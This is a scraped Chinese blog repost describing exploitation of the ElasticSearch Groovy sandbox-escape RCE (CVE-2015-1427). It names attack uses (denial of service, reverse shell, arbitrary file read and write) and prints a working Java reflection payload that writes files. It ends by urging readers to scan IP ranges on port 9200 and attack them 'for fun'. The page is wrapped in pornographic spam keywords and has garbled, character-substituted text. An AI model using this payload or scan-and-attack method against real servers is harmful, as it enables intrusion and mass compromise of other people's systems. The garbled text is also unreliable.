日本搞逼视频_黄色一级片免费在线观看_色99久久_性明星video另类hd_欧美77_综合在线视频

國內最全IT社區平臺 聯系我們 | 收藏本站
阿里云優惠2
您當前位置:首頁 > php開源 > 綜合技術 > ElasticSearch Groovy遠程代碼執行POC和exp

ElasticSearch Groovy遠程代碼執行POC和exp

來源:程序員人生   發布時間:2015-03-26 09:25:05 閱讀次數:3715次


ElasticSearch的這個漏洞的編號是CVE⑵015⑴427,影響版本為1.3.0⑴.3.71.4.0⑴.4.2,漏洞成因詳見:http://drops.wooyun.org/papers/5107,本文具體探討1下漏洞利用。

1.2.0版本默許是禁用了腳本履行,如果要使用該功能的話,要在elasticsearch.yml中設置script.disable_dynamic:true

1.3.0版本,開始使用groovysandbox來進行腳本履行,其中使用了白名單機制,限制了可以調用的類和方法等等。

但是由于Java中的反射機制,我們可以通過白名單中的類獲得到Runtime,也就造成了遠程代碼履行漏洞,威力很大。

空話不多說,使用espython客戶端進行測試:

這里要注意,需要指定1下腳本的類型為groovy。這是由于1.3版本中,MVEL依然是默許的語言,效果以下:

既然是遠程代碼履行,那攻擊面實在是太廣闊了,這酸爽。

 1)謝絕服務攻擊

調用exit便可。

2getshell

測試結果,成功返回1個反彈shell

如果Linux下,很多服務器都是以root權限運行,提權都省了~~


(3)任意文件讀取

獲得到輸入流以后readLine就可以取得回顯。

(4)任意文件寫入(寫shell)

只寫了使用java代碼實現的,并且本地測試成功,不過簡單的1段java代碼,使用反射竟然能這么長:

java.lang.Math.class.forName("java.io.FileOutputStream").getConstructor(java.io.File.class).newInstance(java.lang.Math.class.forName("java.io.File").getConstructor(java.lang.String.class).newInstance("c:/1.txt")).write(java.lang.Math.class.forName("java.lang.String").getConstructor(java.lang.String.class).newInstance("fuck").getBytes())
還可使用命令履行echo出shell來,思路多多。

這里不再寫出exp程序,由于比較簡單,不適用espython api,也能夠自己構造1個要求給es服務器。1個query對應1項攻擊方法。

批量利用的話,掃IP段的9200然后上攻擊代碼就好了,希望大家玩的愉快。


生活不易,碼農辛苦
如果您覺得本網站對您的學習有所幫助,可以手機掃描二維碼進行捐贈
程序員人生
------分隔線----------------------------
分享到:
------分隔線----------------------------
關閉
程序員人生
主站蜘蛛池模板: 国产黄色在线观看 | 一区二区三区在线播放 | 欧美日韩在线视频观看 | 黄色电影免费看 | 九九九久久| 自拍偷拍亚洲精品 | 国产成人精品一区二 | 亚洲久久在线 | 麻豆视频传媒入口 | 在线日韩一区 | 国产精品免费一区二区三区四区 | 精品二区 | 中文字幕网站 | 亚洲最大av网| jzzujzz少亚洲成熟少妇 | 亚洲三区在线观看 | 日韩第一页 | 国产精品18久久久 | 日日噜噜噜夜夜狠狠久久蜜桃 | 国产精品黄色小视频 | 精品在线播放 | 亚洲精品免费在线 | 在线视频综合 | 在线观看日韩视频 | 精品无码久久久久国产 | 国产精品久久久久高潮 | 欧美一级大片 | 在线免费福利 | 在线视频中文 | 波多野结衣国产 | 精品国产乱码久久久久久久软件 | 亚洲婷婷中文字幕 | 亚洲精品在线免费 | 日产精品久久久一区二区 | 国产成人精品视频 | 欧美日本三级 | 国产精品亚洲精品 | 中文字幕二区 | 国产a级毛片| 久久精品国产一区二区 | 韩日av|